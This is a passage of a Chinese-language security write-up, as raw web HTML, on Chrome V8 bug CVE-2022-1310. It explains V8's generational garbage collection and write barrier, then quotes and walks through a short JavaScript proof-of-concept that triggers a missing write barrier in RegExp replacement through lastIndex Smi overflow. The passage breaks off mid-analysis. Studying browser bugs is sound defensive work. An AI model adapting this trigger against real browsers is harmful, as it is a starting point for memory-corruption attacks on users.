rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">要理解这个漏洞，需要对V8的垃圾回收机制有一定的了解，本文首先简单介绍V8的垃圾回收机制，然后结合具体漏洞PoC代码分析漏洞成因。</span></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;padding: 0px;outline: 0px;font-weight: bold;font-size: 1.75em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-indent: 0em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 17px;visibility: visible;">V8垃圾回收机制</span></strong></h2><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">垃圾回收一直是V8引擎的优化重点，是多种复杂优化策略组合形成的机制，其本质采用的标记跟踪回收算法，在堆布局上使用分代布局，大致可以分为新生代和老年代，具体的回收策略可分为Major GC（Mark-Compact）和Minor GC(Scavenger)。这里仅对两种策略的关键阶段做简单介绍，详细实现可以从参考文档和源代码进行学习。</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">Major GC(Mark-Compact）</span></strong><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;"></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">V8的主要GC负责对整个堆区的垃圾进行回收，可分为标记、清除、整理三个阶段，其中清除阶段释放无用内存，整理阶段将已使用内存移动压实，算法的重点在标记阶段。</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">标记阶段中，收集器需要发现并标记所有的活动对象。收集器从维护的一组根对象开始，跟随指针迭代发现更多的对象，通过持续标记新发现的对象并跟随指针，直到没有需要标记的对象为止。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7607655502392344" data-s="300,640" style="width: 312px;height: 237px;" data-type="png" data-w="418" src="https://wechat2rss.xlab.app/img-proxy/?k=78a394f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd7R7t1DN3HK3tqAl6I5W9xx3S143IWia5bdcdBuEaia7h5pD1Lc7KkwHAg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">V8使用三色标记法来标记对象，每个对象通过两个标记位和一个标记列表来实现标记，两个标记位标识三种颜色：白色(00)、灰色(10) 和黑色(11)。最初所有对象都是白色的，当收集器发现白色物体并将其推送到标记列表时，它会变成灰色。当收集器从标记工作列表中弹出对象并访问其所有字段时，灰色对象变为黑色。当不再有灰色对象时，标记完成，所有剩余的白色物体都无法到达，可以安全地回收。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7619047619047619" data-s="300,640" style="width: 330px;height: 251px;" data-type="png" data-w="504" src="https://wechat2rss.xlab.app/img-proxy/?k=82c468b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd7iceqKI8rDHAsQDIfNSoR4Fq7CiaZFco4IX1AtPia37WJm4oc0BgUGKIUg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">Minor GC(Scavenger)</span></strong><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;"></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">次要GC主要工作在新生代空间中，可以分为标记、疏散和指针更新三个阶段，这些阶段都是交错执行的，没有严格的先后顺序。Scavenger将新生代的空间分为From-Space和To-Space，这两个空间可以互相交换，新分配的对象都会出现在From-Space，在标记和回收完成后的疏散阶段，Scavenger会将依然存活的对象移动到To-Space紧密排列，然后交换From-Space和To-Space，开始下一轮GC。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.34688995215311" data-s="300,640" style="" data-type="png" data-w="836" src="https://wechat2rss.xlab.app/img-proxy/?k=e698bb38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd7aFLicCqgkWCnC2Nn0wFUPzicLumVtNIqnJpgWABx7YLw8ApCqOL1MzRw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">这里需要特别介绍写屏障(Write-Barrier)机制，它是此漏洞发生的关键原因。Write-Barrier维护了一组从旧对象到新对象的列表，一般是老年代指向年轻代中的对象的指针，使用这个引用列表可以直接进行标记，不需要跟踪整个老年代。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.21492537313432836" data-s="300,640" style="" data-type="png" data-w="1340" src="https://wechat2rss.xlab.app/img-proxy/?k=60b0dbf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd7Z80STrYEUaSMMZFxfzsvmJntZIn1tDj8ibNnhen24cffg2Jwv74tcQQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">可以看到，Write-Barrier将一个关联的可访问的value对象标记为灰色，并放入marking_worklist中，后续的标记程序可以不需要再遍历老年代中的对象，直接从该列表开始进行标记。</span></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;padding: 0px;font-weight: bold;font-size: 1.75em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;text-indent: 0em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">漏洞分析</span></strong></h2><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">Chrome V8命令执行漏洞（CVE-2022-1310）出现在V8引擎的正则表达式模块，作者在报告中提到的漏洞PoC部分关键代码如下：</span><span style="color: rgba(0, 0, 0, 0.87);font-family: Roboto, Noto, sans-serif;font-size: 13px;letter-spacing: normal;orphans: 2;text-align: start;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> re = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">RegExp</span>(<span class="code-snippet__string">&#39;foo&#39;</span>, <span class="code-snippet__string">&#39;g&#39;</span>);</span></code><code><span class="code-snippet_outer">re.exec = <span class="code-snippet__function"><span class="code-snippet__keyword">function</span>(<span class="code-snippet__params"></span>) </span>{</span></code><code><span class="code-snippet_outer">    gc(); <span class="code-snippet__comment">// move `re` to oldspace using a mark-sweep gc</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">delete</span> re.exec; <span class="code-snippet__comment">// transition back to initial regexp map to pass HasInitialRegExpMap</span></span></code><code><span class="code-snippet_outer">    re.lastIndex = <span class="code-snippet__number">1073741823</span>; <span class="code-snippet__comment">// maximum smi, adding one will result in a HeapNumber</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">RegExp</span>.prototype.exec = <span class="code-snippet__function"><span class="code-snippet__keyword">function</span>(<span class="code-snippet__params"></span>) </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">throw</span> <span class="code-snippet__string">&#39;&#39;</span>; <span class="code-snippet__comment">// break out of Regexp.replace</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> ...;</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">var</span> newstr = re[Symbol.replace](<span class="code-snippet__string">&#34;fooooo&#34;</span>, <span class="code-snippet__string">&#34;.$&#34;</span>); <span class="code-snippet__comment">// trigger</span></span></code><code><span class="code-snippet_outer">} <span class="code-snippet__keyword">catch</span>(e) {}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">gc({<span class="code-snippet__keyword">type</span>:<span class="code-snippet__string">&#39;minor&#39;</span>});</span></code><code><span class="code-snippet_outer">%DebugPrint(re.lastIndex);</span></code></pre></section><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">通过对比PoC和分析源码，当在JS代码中调用</span><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">re[Symbol.replace]</code><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">函数时</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">，V8引擎使用Runtime_RegExpReplaceRT函数进行处理，函数中的异常退出分支会调用<code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">RegExpUtils::SetAdvancedStringIndex</code>，该函数最终将<code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">re.lastIndex</code>加1并写回re对象中。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43301435406698563" data-s="300,640" style="" data-type="png" data-w="1254" src="https://wechat2rss.xlab.app/img-proxy/?k=c6185da0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd7cic1s8Pydcmhxo5a9xYoRpfgsZHs82pMwjqIP5k36gT2dgiaQo1b17RA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">可见，上述</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">函数功能约等于<code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">re.lastIndex += 1</code>，对于类似的代码逻辑，在底层语言中通常</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">需要考虑</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">边界值，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">防止出现数据溢出。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">V8中的Number类型分为Smi和HeapNumber，Smi代表了小整数，和对象中的指针共享存储空间，通过值的最低位是否为0来区分类型，超出Smi表示范围的值会在堆中创建HeapNumber对象来表示，在3</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">2位环境下，Smi值的范围为-2^30到2^30 - 1。</span></p><p style="margin: 0px 0px 0em;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3088480801335559" data-s="300,640" style="margin: 0px;padding: 0px;max-width: 100%;height: auto !important;vertical-align: bottom;" data-type="png" data-w="1198" src="https://wechat2rss.xlab.app/img-proxy/?k=08d4252d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd77RJT8h30IZrsU72vZnxrPq79Upicq6AgJebXvicyJ3eN2tfSFL8N5g2w%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><span style="margin: 0px;padding: 0px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 15px;text-align: left;">根据上述逻辑，当我们对RegExp对象赋值<code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">re.lastIndex=1073741823</code>，并进入Runtime_RegExpReplaceRT函数逻辑时</span><span style="margin: 0px;padding: 0px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 15px;text-align: left;">，</span><span style="margin: 0px;padding: 0px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica 